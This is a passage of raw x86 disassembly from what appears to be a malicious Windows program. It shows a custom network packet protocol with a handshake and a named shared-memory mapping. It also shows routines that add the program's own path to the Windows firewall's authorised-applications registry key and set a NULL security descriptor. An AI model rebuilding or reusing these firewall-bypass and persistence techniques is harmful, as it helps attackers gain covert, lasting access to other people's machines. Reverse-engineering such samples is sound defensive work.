[ebx+edi+44h] add [eax], dl lea eax, [edi+1] mov ecx, 20h cdq idiv ecx mov edi, edx inc esi loc_401AAD: ; CODE XREF: sub_401A55+3Ej cmp esi, 40h jl short loc_401A95 mov al, [ebx+63h] mov [ebp+var_1], al mov esi, 1Fh loc_401ABD: ; CODE XREF: sub_401A55+76j lea eax, [esi-1] mov al, [ebx+eax+44h] mov [ebx+esi+44h], al dec esi test esi, esi jg short loc_401ABD mov al, [ebp+var_1] mov [ebx+44h], al pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ADA proc near ; CODE XREF: sub_401B8F+13p ; sub_401D76+8Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_C] test esi, esi jl short loc_401AF3 cmp esi, 0FFFFh jle short loc_401AFA loc_401AF3: ; CODE XREF: sub_401ADA+Fj xor eax, eax jmp loc_401B88 ; --------------------------------------------------------------------------- loc_401AFA: ; CODE XREF: sub_401ADA+17j cmp [ebp+arg_10], 0 jz short loc_401B07 push ebx call sub_401A55 pop ecx loc_401B07: ; CODE XREF: sub_401ADA+24j mov edi, [ebx+46Ch] mov word ptr [edi], 29Ah add edi, 2 mov ax, [ebp+arg_4] mov [edi], ax add edi, 2 mov ax, si mov [edi], ax add edi, 2 test esi, esi jz short loc_401B39 push esi push [ebp+arg_8] push edi call sub_407630 add esp, 0Ch loc_401B39: ; CODE XREF: sub_401ADA+50j add esi, 6 push esi movzx eax, [ebp+arg_4] push eax push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n" call nullsub_2 add esp, 0Ch cmp [ebp+arg_10], 0 jz short loc_401B68 push esi push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401B68: ; CODE XREF: sub_401ADA+79j push esi push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_401787 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], esi jge short loc_401B85 xor eax, eax jmp short loc_401B88 ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: sub_401ADA+A5j xor eax, eax inc eax loc_401B88: ; CODE XREF: sub_401ADA+1Bj ; sub_401ADA+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401ADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B8F proc near ; CODE XREF: DMN0:00401F47p ; sub_403C3F+20Bp arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] movzx eax, [ebp+arg_4] push eax push [ebp+arg_0] call sub_401ADA add esp, 14h pop ebp retn sub_401B8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BAC proc near ; CODE XREF: sub_401D5B+11p ; DMN0:00401E35p var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_10] mov edx, [ebp+arg_4] mov word ptr [edx], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_C] test eax, eax jl short loc_401BD5 cmp eax, 0FFFFh jle short loc_401BDD loc_401BD5: ; CODE XREF: sub_401BAC+20j or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401BDD: ; CODE XREF: sub_401BAC+27j test esi, esi jz short loc_401BE8 push ebx call sub_401A55 pop ecx loc_401BE8: ; CODE XREF: sub_401BAC+33j push 2 lea eax, [ebp+var_6] push eax push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401C0F mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C0F: ; CODE XREF: sub_401BAC+51j test esi, esi jz short loc_401C25 push 2 lea eax, [ebp+var_6] push eax lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401C25: ; CODE XREF: sub_401BAC+65j cmp [ebp+var_6], 29Ah jz short loc_401C48 movzx eax, [ebp+var_6] push eax push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n" call nullsub_2 pop ecx pop ecx mov eax, 0FFFFFFFEh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C48: ; CODE XREF: sub_401BAC+7Fj push 2 push [ebp+arg_4] push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401C6E mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C6E: ; CODE XREF: sub_401BAC+B0j test esi, esi jz short loc_401C83 push 2 push [ebp+arg_4] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401C83: ; CODE XREF: sub_401BAC+C4j mov eax, [ebp+arg_4] movzx eax, word ptr [eax] push eax push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n" call nullsub_2 pop ecx pop ecx push 2 lea eax, [ebp+var_4] push eax push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401CBD mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401CBD: ; CODE XREF: sub_401BAC+FFj test esi, esi jz short loc_401CD3 push 2 lea eax, [ebp+var_4] push eax lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401CD3: ; CODE XREF: sub_401BAC+113j push [ebp+arg_C] push [ebp+var_4] push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n" call nullsub_2 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_401D0B push [ebp+var_4] push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, [ebp+var_4] jge short loc_401D0B or eax, 0FFFFFFFFh jmp short loc_401D54 ; --------------------------------------------------------------------------- loc_401D0B: ; CODE XREF: sub_401BAC+13Ej ; sub_401BAC+158j test esi, esi jz short loc_401D24 push [ebp+var_4] push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401D24: ; CODE XREF: sub_401BAC+161j cmp [ebp+arg_8], 0 jz short loc_401D51 mov eax, [ebp+arg_C] cmp [ebp+var_4], eax jle short loc_401D38 mov eax, [ebp+arg_C] mov [ebp+var_4], eax loc_401D38: ; CODE XREF: sub_401BAC+184j mov eax, [ebp+var_4] test eax, eax jz short loc_401D51 push eax push dword ptr [ebx+46Ch] push [ebp+arg_8] call sub_407630 add esp, 0Ch loc_401D51: ; CODE XREF: sub_401BAC+17Cj ; sub_401BAC+191j mov eax, [ebp+var_4] loc_401D54: ; CODE XREF: sub_401BAC+2Cj ; sub_401BAC+5Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D5B proc near ; CODE XREF: sub_401F51+18p ; sub_403C3F+26Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401BAC add esp, 14h pop ebp retn sub_401D5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D76 proc near ; CODE XREF: sub_403C3F+166p var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] lea edi, [ebp+var_80] lea edi, [ebp+var_80] mov word ptr [edi], 1 add edi, 2 mov word ptr [edi], 9 add edi, 2 and dword ptr [edi], 0 add edi, 4 mov ax, [ebp+arg_4] mov [edi], ax add edi, 4 or esi, 1000h mov ax, si mov [edi], ax add edi, 2 mov word ptr [edi], 40h add edi, 2 mov word ptr [edi], 20h add edi, 2 push 40h lea eax, [ebx+4] push eax push edi call sub_407630 add esp, 0Ch add edi, 40h push 20h lea eax, [ebx+44h] push eax push edi call sub_407630 add esp, 0Ch add edi, 20h push 0 lea eax, [ebp+var_80] mov edx, edi sub edx, eax push edx lea eax, [ebp+var_80] push eax push 1 push ebx call sub_401ADA add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401D76 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea ebx, [ebp-80h] push 0 push 80h lea eax, [ebp-80h] push eax lea eax, [ebp-84h] push eax push dword ptr [ebp+8] call sub_401BAC add esp, 14h mov esi, eax cmp word ptr [ebp-84h], 1 jnz short loc_401E4E cmp esi, 0Ah jge short loc_401E7B loc_401E4E: ; CODE XREF: DMN0:00401E47j cmp esi, 0Ah jge short loc_401E60 push offset aHandshakeRecvE ; "Handshake: recv() error\n" call nullsub_2 pop ecx jmp short loc_401E74 ; --------------------------------------------------------------------------- loc_401E60: ; CODE XREF: DMN0:00401E51j movzx eax, word ptr [ebp-84h] push eax push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n" call nullsub_2 pop ecx pop ecx loc_401E74: ; CODE XREF: DMN0:00401E5Ej xor eax, eax jmp loc_401F2F ; --------------------------------------------------------------------------- loc_401E7B: ; CODE XREF: DMN0:00401E4Cj lea ebx, [ebp-80h] cmp word ptr [ebx], 1 jz short loc_401E9B movzx eax, word ptr [ebx] push eax push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n" call nullsub_2 pop ecx pop ecx xor eax, eax jmp loc_401F2F ; --------------------------------------------------------------------------- loc_401E9B: ; CODE XREF: DMN0:00401E82j add ebx, 2 mov edx, [ebp+0Ch] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 add ebx, 4 mov edx, [ebp+10h] mov ax, [ebx] mov [edx], ax add ebx, 4 mov edx, [ebp+14h] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 mov ax, [ebx] mov [ebp-82h], ax add ebx, 2 cmp word ptr [ebp-82h], 40h jz short loc_401EDE xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401EDE: ; CODE XREF: DMN0:00401ED8j mov di, [ebx] add ebx, 2 cmp di, 20h jz short loc_401EEE xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: DMN0:00401EE8j sub esi, 10h movzx eax, word ptr [ebp-82h] movzx edx, di add eax, edx cmp esi, eax jge short loc_401F05 xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401F05: ; CODE XREF: DMN0:00401EFFj push 40h push ebx mov eax, [ebp+8] add eax, 4 push eax call sub_407630 add esp, 0Ch add ebx, 40h push 20h push ebx mov eax, [ebp+8] add eax, 44h push eax call sub_407630 add esp, 0Ch xor eax, eax inc eax loc_401F2F: ; CODE XREF: DMN0:00401E76j ; DMN0:00401E96j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1 lea eax, [ebp+0Ch] push eax push 29Ah push dword ptr [ebp+8] call sub_401B8F add esp, 10h pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F51 proc near ; CODE XREF: sub_403C3F+18Ep ; sub_403C3F+245p var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_401D5B add esp, 10h mov ebx, eax cmp [ebp+var_4], 29Ah jnz short loc_401F80 cmp ebx, 1 jz short loc_401F85 loc_401F80: ; CODE XREF: sub_401F51+28j or eax, 0FFFFFFFFh jmp short loc_401F89 ; --------------------------------------------------------------------------- loc_401F85: ; CODE XREF: sub_401F51+2Dj movzx eax, [ebp+var_2] loc_401F89: ; CODE XREF: sub_401F51+32j pop ebx mov esp, ebp pop ebp retn sub_401F51 endp ; =============== S U B R O U T I N E ======================================= sub_401F8E proc near ; CODE XREF: sub_4066F1+3Ap push ebx push 10h call sub_401048 pop ecx mov ebx, eax pop ebx retn sub_401F8E endp ; =============== S U B R O U T I N E ======================================= sub_401F9B proc near ; CODE XREF: DMN0:00401FD4p ; DMN0:004021DFp ... arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_401FC6 mov esi, [ebx+4] jmp short loc_401FB7 ; --------------------------------------------------------------------------- loc_401FAB: ; CODE XREF: sub_401F9B+1Ej mov edi, esi mov esi, [esi+8] push edi call sub_401076 pop ecx loc_401FB7: ; CODE XREF: sub_401F9B+Ej test esi, esi jnz short loc_401FAB and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 loc_401FC6: ; CODE XREF: sub_401F9B+9j pop edi pop esi pop ebx retn sub_401F9B endp ; --------------------------------------------------------------------------- push ebx mov ebx, [esp+8] test ebx, ebx jz short loc_401FE1 push ebx call sub_401F9B pop ecx push ebx call sub_401076 pop ecx loc_401FE1: ; CODE XREF: DMN0:00401FD1j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_401FE3 proc near ; CODE XREF: sub_4042CD+B0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx mov ecx, [esp+4+arg_4] mov bx, [esp+4+arg_8] mov eax, [esp+4+arg_0] mov edx, [eax+4] jmp short loc_40200A ; --------------------------------------------------------------------------- loc_401FF6: ; CODE XREF: sub_401FE3+29j cmp [edx+4], ecx jnz short loc_402007 test bx, bx jz short loc_402005 cmp [edx], bx jnz short loc_402007 loc_402005: ; CODE XREF: sub_401FE3+1Bj jmp short loc_40200E ; --------------------------------------------------------------------------- loc_402007: ; CODE XREF: sub_401FE3+16j ; sub_401FE3+20j mov edx, [edx+8] loc_40200A: ; CODE XREF: sub_401FE3+11j test edx, edx jnz short loc_401FF6 loc_40200E: ; CODE XREF: sub_401FE3:loc_402005j mov eax, edx pop ebx retn sub_401FE3 endp ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push 14h call sub_401048 pop ecx mov esi, eax mov eax, [ebx+4] mov [esi+8], eax mov [ebx+4], esi cmp dword ptr [ebx], 0 jnz short loc_402032 mov [ebx], esi loc_402032: ; CODE XREF: DMN0:0040202Ej inc dword ptr [ebx+8] mov eax, [esp+10h] mov [esi+4], eax mov ax, [esp+14h] mov [esi], ax mov eax, esi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_402049 proc near ; CODE XREF: DMN0:004021F6p ; sub_403B86+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi mov ebx, [esp+8+arg_0] push 14h call sub_401048 pop ecx mov esi, eax cmp dword ptr [ebx], 0 jz short loc_402067 mov edx, [ebx] mov [edx+8], esi mov [ebx], esi jmp short loc_40206C ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_402049+13j mov [ebx], esi mov [ebx+4], esi loc_40206C: ; CODE XREF: sub_402049+1Cj inc dword ptr [ebx+8] mov eax, [esp+8+arg_4] mov [esi+4], eax mov ax, [esp+8+arg_8] mov [esi], ax mov eax, esi pop esi pop ebx retn sub_402049 endp ; =============== S U B R O U T I N E ======================================= sub_402083 proc near ; CODE XREF: DMN0:0040219Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi push edi mov bx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_4020B0 ; --------------------------------------------------------------------------- loc_402096: ; CODE XREF: sub_402083+2Fj mov eax, [esp+0Ch+arg_4] cmp [esi+4], eax jnz short loc_4020AB test bx, bx jz short loc_4020A9 cmp [esi], bx jnz short loc_4020AB loc_4020A9: ; CODE XREF: sub_402083+1Fj jmp short loc_4020B4 ; --------------------------------------------------------------------------- loc_4020AB: ; CODE XREF: sub_402083+1Aj ; sub_402083+24j mov edi, esi mov esi, [esi+8] loc_4020B0: ; CODE XREF: sub_402083+11j test esi, esi jnz short loc_402096 loc_4020B4: ; CODE XREF: sub_402083:loc_4020A9j test esi, esi jnz short loc_4020BC xor eax, eax jmp short loc_402102 ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_402083+33j test edi, edi jz short loc_4020D6 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_4020CE mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_4020CE: ; CODE XREF: sub_402083+43j mov eax, [esi+8] mov [edi+8], eax jmp short loc_4020F1 ; --------------------------------------------------------------------------- loc_4020D6: ; CODE XREF: sub_402083+3Bj mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4020F1 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_4020F1: ; CODE XREF: sub_402083+51j ; sub_402083+65j mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_401076 pop ecx xor eax, eax inc eax loc_402102: ; CODE XREF: sub_402083+37j pop edi pop esi pop ebx retn sub_402083 endp ; =============== S U B R O U T I N E ======================================= sub_402106 proc near ; CODE XREF: DMN0:004021C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_402128 ; --------------------------------------------------------------------------- loc_402118: ; CODE XREF: sub_402106+24j mov eax, [esp+0Ch+arg_4] sub eax, [esi+10h] cmp eax, ebx jnb short loc_40212C mov edi, esi mov esi, [esi+8] loc_402128: ; CODE XREF: sub_402106+10j test esi, esi jnz short loc_402118 loc_40212C: ; CODE XREF: sub_402106+1Bj test esi, esi jnz short loc_402134 xor eax, eax jmp short loc_40217A ; --------------------------------------------------------------------------- loc_402134: ; CODE XREF: sub_402106+28j test edi, edi jz short loc_40214E mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_402146 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_402146: ; CODE XREF: sub_402106+38j mov eax, [esi+8] mov [edi+8], eax jmp short loc_402169 ; --------------------------------------------------------------------------- loc_40214E: ; CODE XREF: sub_402106+30j mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_402169 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_402169: ; CODE XREF: sub_402106+46j ; sub_402106+5Aj mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_401076 pop ecx xor eax, eax inc eax loc_40217A: ; CODE XREF: sub_402106+2Cj pop edi pop esi pop ebx retn sub_402106 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov si, [ebp+10h] xor edi, edi jmp short loc_402192 ; --------------------------------------------------------------------------- loc_40218F: ; CODE XREF: DMN0:004021A4j xor edi, edi inc edi loc_402192: ; CODE XREF: DMN0:0040218Dj movzx eax, si push eax push ebx push dword ptr [ebp+8] call sub_402083 add esp, 0Ch test eax, eax jnz short loc_40218F mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov esi, [ebp+10h] xor edi, edi jmp short loc_4021C0 ; --------------------------------------------------------------------------- loc_4021BD: ; CODE XREF: DMN0:004021CFj xor edi, edi inc edi loc_4021C0: ; CODE XREF: DMN0:004021BBj push esi push ebx push dword ptr [ebp+8] call sub_402106 add esp, 0Ch test eax, eax jnz short loc_4021BD mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push ebx call sub_401F9B pop ecx mov eax, [esp+10h] mov esi, [eax+4] jmp short loc_402201 ; --------------------------------------------------------------------------- loc_4021EE: ; CODE XREF: DMN0:00402203j movzx eax, word ptr [esi] push eax push dword ptr [esi+4] push ebx call sub_402049 add esp, 0Ch mov esi, [esi+8] loc_402201: ; CODE XREF: DMN0:004021ECj test esi, esi jnz short loc_4021EE pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402208 proc near ; CODE XREF: sub_402296+98p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 ; RegCreateKeyExA test eax, eax jnz short loc_40225A push [ebp+arg_C] call sub_407650 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 ; RegSetValueExA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_40225A: ; CODE XREF: sub_402208+29j mov esp, ebp pop ebp retn sub_402208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40225E proc near ; CODE XREF: DMN0:0040237Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 ; RegOpenKeyExA test eax, eax jnz short loc_402292 push [ebp+arg_8] push [ebp+var_4] call dword_411E34 ; RegDeleteKeyA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_402292: ; CODE XREF: sub_40225E+1Dj mov esp, ebp pop ebp retn sub_40225E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402296 proc near ; CODE XREF: sub_4066F1:loc_406922p var_20A = byte ptr -20Ah var_105 = byte ptr -105h push ebp mov ebp, esp sub esp, 20Ch push ebx push 104h lea eax, [ebp+var_105] push eax push 0 call dword_411CDC ; GetModuleFileNameA mov ebx, eax mov [ebp+ebx+var_105], 0 cmp [ebp+var_105], 0 jz short loc_402336 lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax call sub_407670 pop ecx pop ecx push dword_4128A4 lea eax, [ebp+var_105] push eax call sub_407690 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_105] push eax call sub_407690 pop ecx pop ecx push offset aNts ; "NTS" lea eax, [ebp+var_105] push eax call sub_407690 pop ecx pop ecx lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_402208 add esp, 10h loc_402336: ; CODE XREF: sub_402296+2Fj pop ebx mov esp, ebp pop ebp retn sub_402296 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push ebx push 104h lea eax, [ebp-105h] push eax push 0 call dword_411CDC ; GetModuleFileNameA mov ebx, eax mov byte ptr [ebp+ebx-105h], 0 cmp byte ptr [ebp-105h], 0 jz short loc_402385 lea eax, [ebp-105h] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_40225E add esp, 0Ch loc_402385: ; CODE XREF: DMN0:0040236Aj pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40238A proc near ; CODE XREF: sub_4023DC+2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx cmp dword_411008, 0 jnz short loc_4023D7 push 14h push 40h call dword_411CE0 ; LocalAlloc mov ebx, eax push 1 push ebx call dword_411E38 ; InitializeSecurityDescriptor push 0 push 0 push 1 push ebx call dword_411E3C ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], 1 mov dword_411008, 1 loc_4023D7: ; CODE XREF: sub_40238A+Ej pop ebx mov esp, ebp pop ebp retn sub_40238A endp ; =============== S U B R O U T I N E ======================================= sub_4023DC proc near ; CODE XREF: sub_403C3F+7Fp ; sub_4066F1+23Fp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi call sub_40238A push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 100h push 0 push 4 push offset dword_412928 push 0FFFFFFFFh call dword_411CE4 ; CreateFileMappingA mov ebx, eax test eax, eax jz short loc_402446 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_402444 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC ; MapViewOfFile mov esi, eax test esi, esi jz short loc_402444 mov ax, [esp+8+arg_0] mov [esi], ax mov ax, [esp+8+arg_4] mov [esi+2], ax push esi call dword_411CF0 ; UnmapViewOfFile loc_402444: ; CODE XREF: sub_4023DC+36j ; sub_4023DC+4Ej mov eax, ebx loc_402446: ; CODE XREF: sub_4023DC+29j pop esi pop ebx retn sub_4023DC endp ; =============== S U B R O U T I N E ======================================= sub_402449 proc near ; CODE XREF: sub_403C3F+9Bp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi push edi xor edi, edi push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 ; OpenFileMappingA mov ebx, eax test eax, eax jz short loc_4024A2 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC ; MapViewOfFile mov esi, eax test esi, esi jz short loc_402499 mov ax, [esp+0Ch+arg_0] mov [esi], ax mov ax, [esp+0Ch+arg_4] mov [esi+2], ax push esi call dword_411CF0 ; UnmapViewOfFile xor edi, edi inc edi loc_402499: ; CODE XREF: sub_402449+33j push ebx call dword_411CF8 ; CloseHandle mov eax, edi loc_4024A2: ; CODE XREF: sub_402449+1Bj pop edi pop esi pop ebx retn sub_402449 endp ; =============== S U B R O U T I N E ======================================= sub_4024A6 proc near ; CODE XREF: sub_404967+23p arg_0 = dword ptr 4 push ebx push esi push edi xor si, si push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 ; OpenFileMappingA mov ebx, eax test ebx, ebx jnz short loc_4024CB mov eax, 0FFFFh jmp short loc_40250D ; --------------------------------------------------------------------------- loc_4024CB: ; CODE XREF: sub_4024A6+1Cj push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC ; MapViewOfFile mov edi, eax test edi, edi jz short loc_402503 mov si, [edi] test si, si jz short loc_4024F8 mov edx, [esp+0Ch+arg_0] mov ax, [edi+2] mov [edx], ax jmp short loc_4024FC ; --------------------------------------------------------------------------- loc_4024F8: ; CODE XREF: sub_4024A6+43j mov si, 0FFFFh loc_4024FC: ; CODE XREF: sub_4024A6+50j push edi call dword_411CF0 ; UnmapViewOfFile loc_402503: ; CODE XREF: sub_4024A6+3Bj push ebx call dword_411CF8 ; CloseHandle movzx eax, si loc_40250D: ; CODE XREF: sub_4024A6+23j pop edi pop esi pop ebx retn sub_4024A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402511 proc near ; CODE XREF: sub_4025A9+2Dp ; sub_402B02+23Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_407650 pop ecx mov edi, eax push [ebp+var_4] call sub_407650 pop ecx mov ebx, eax jmp short loc_402555 ; --------------------------------------------------------------------------- loc_402537: ; CODE XREF: sub_402511+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC ; CompareStringA cmp eax, 2 jnz short loc_402553 mov eax, esi jmp short loc_40255B ; --------------------------------------------------------------------------- loc_402553: ; CODE XREF: sub_402511+3Cj inc esi dec edi loc_402555: ; CODE XREF: sub_402511+24j cmp edi, ebx jge short loc_402537 xor eax, eax loc_40255B: ; CODE XREF: sub_402511+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402511 endp ; =============== S U B R O U T I N E ======================================= sub_402562 proc near ; CODE XREF: sub_4025A9+1C4p ; sub_402896+12Cp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] call dword_411CC4 ; GetTickCount lea esi, [eax+7D0h] loc_402574: ; CODE XREF: sub_402562+40j push ebx call sub_401542 pop ecx test eax, eax jle short loc_402584 xor eax, eax inc eax jmp short loc_4025A6 ; --------------------------------------------------------------------------- loc_402584: ; CODE XREF: sub_402562+1Bj push offset a_ ; "." call sub_407260 pop ecx push 12Ch call dword_411D00 ; Sleep call dword_411CC4 ; GetTickCount cmp eax, esi jb short loc_402574 xor eax, eax loc_4025A6: ; CODE XREF: 